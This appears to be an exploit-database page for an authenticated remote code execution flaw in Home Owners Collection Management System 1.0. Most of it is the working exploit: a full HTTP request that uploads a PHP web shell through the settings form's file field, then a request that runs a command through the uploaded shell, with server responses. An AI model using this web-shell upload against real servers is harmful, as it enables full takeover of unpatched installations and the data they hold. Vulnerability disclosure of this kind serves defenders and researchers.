Home Owners Collection Management System 1.0 - Remote Code Execution (RCE) (Authenticated)

vendor:

Home Owners Collection Management System

by:

Saud Alenazi

7.5

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Home Owners Collection Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: XAMPP, Linux

2022

Home Owners Collection Management System 1.0 – Remote Code Execution (RCE) (Authenticated)

The Home Owners Collection Management System (HOCMS) version 1.0 is vulnerable to remote code execution. An attacker can exploit this vulnerability by sending a specially crafted request to the SystemSettings.php file. By manipulating the 'name' parameter, an attacker can execute arbitrary code on the server. The vulnerability allows an authenticated attacker to execute system commands on the target server, potentially leading to full compromise of the system.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest patch or update the software to a version that is not affected by this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Home Owners Collection Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 9/02/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux 

# Request sent as base user

POST /hocms/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------31935477191495174627236953215
Content-Length: 769
Origin: http://localhost
Connection: close
Referer: http://localhost/hocms/admin/?page=system_info
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju


-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="name"



Home Owners Collection Management System'

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="short_name"



HOCMS  - PHP

-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream





-----------------------------31935477191495174627236953215
Content-Disposition: form-data; name="cover"; filename="cmd.php"
Content-Type: application/x-php



<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>


-----------------------------31935477191495174627236953215--


# Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2022 09:32:16 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/8.1.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8



1


# ------------------------------------------------------------------------------------------
# Request to webshell
# ------------------------------------------------------------------------------------------

GET /hocms/uploads/1644399120_cmd.php?s=echo+0xSaudi HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju
Upgrade-Insecure-Requests: 1


# ------------------------------------------------------------------------------------------
# Webshell response
# ------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2022 09:39:06 GMT
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/8.1.2
Access-Control-Allow-Origin: *
Content-Length: 33
Connection: close
Content-Type: text/html; charset=UTF-8



0xSaudi
</pre>
</body>
</html>